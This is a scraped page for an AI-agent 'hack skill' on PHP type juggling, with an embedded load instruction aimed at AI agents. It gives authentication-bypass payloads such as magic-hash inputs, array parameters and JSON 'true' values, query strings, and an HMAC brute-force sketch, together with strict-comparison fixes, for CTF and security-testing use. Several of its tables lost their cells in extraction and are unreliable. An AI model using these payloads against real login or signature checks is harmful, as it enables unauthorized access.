Loading...
Loading...
PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
npx skill4agent add yaklang/hack-skills type-jugglingAI LOAD INSTRUCTION: PHPcoercion, magic hashes (==), HMAC/hash loose checks, NULL from bad types, and CTF-style0e…/strcmp/json_decodetricks. Use strict routing: map the sink (intvalvs==), PHP major version, and whether both operands are attacker-controlled. 中文路由:遇到 PHP 登录/签名/hash_equals类题目或代码,优先读本 skill;若已用md5($_GET['x'])==md5($_GET['y'])/hash_equals则本路径通常不成立。===
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00php -r<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));| 线索 | 下一步 |
|---|---|
源码里出现 | 走 Section 1–3 |
| Section 2 魔法哈希 |
| Section 3 |
| Section 5 |
=====hash_equals()| Expression | Result | Mechanism (short) |
|---|---|---|
| true | Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”) |
| true | Both parse as 0.0 in scientific notation |
| true | String cast to int stops at first non-digit → |
| true (PHP 7.x and earlier) | Non-numeric string compared to int → string becomes |
| true | Empty string → |
| true | both “falsy” in loose rules |
| true | loose equality |
| true | loose equality |
| true (chain) | Each adjacent pair is true under |
| true | String |
| false (PHP 8+) | PHP 8: non-numeric string no longer equals |
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
| true (string → 0) | false |
String-to-number for | Still truncates for | Same idea for numeric strings; non-numeric vs int fixed as above |
| May warn / | TypeError for wrong types — kills classic |
X-Powered-Byhash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;0e…^0e[0-9]+$md5(A) == md5(B)| Algorithm | Example input | Digest (starts with |
|---|---|---|
| MD5 | | |
| MD5 | | |
| SHA-1 | | |
| SHA-224 | (brute-force / precomputed) | Example form: |
| SHA-256 | (brute-force / precomputed) | Same pattern: only strings matching |
md5('240610708') == md5('QNKCDZO')^0e[0-9]+$if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}?a=240610708&b=QNKCDZO^0e\d+$"0"0if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.$datahash_hmac^0e[0-9]+$0==0e| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite |
| Goal | Find |
| Note | Without knowing |
# Conceptual: try many timestamps
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use thash_equals($mac, $expected)"0"NULLNULL| Call | Typical PHP 7/8 behavior |
|---|---|
| PHP 8: TypeError; older: warnings / not reliable across versions |
| Same |
| Idea | If error handler or custom wrapper converts failures to |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true@try/catchnullstrcmpstrcasecmpstrcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)?p[]=1intval// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100?id=0x1A
?id=010
?id=1e2json_decodetrue{"password": true}$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rulesis_numericis_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)__toStringmd5($obj)unserialize($_…)== +------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+| Tool | Use |
|---|---|
Local | Reproduce |
| Static code review | Grep |
| CTF frameworks | Payload generators for magic hashes and |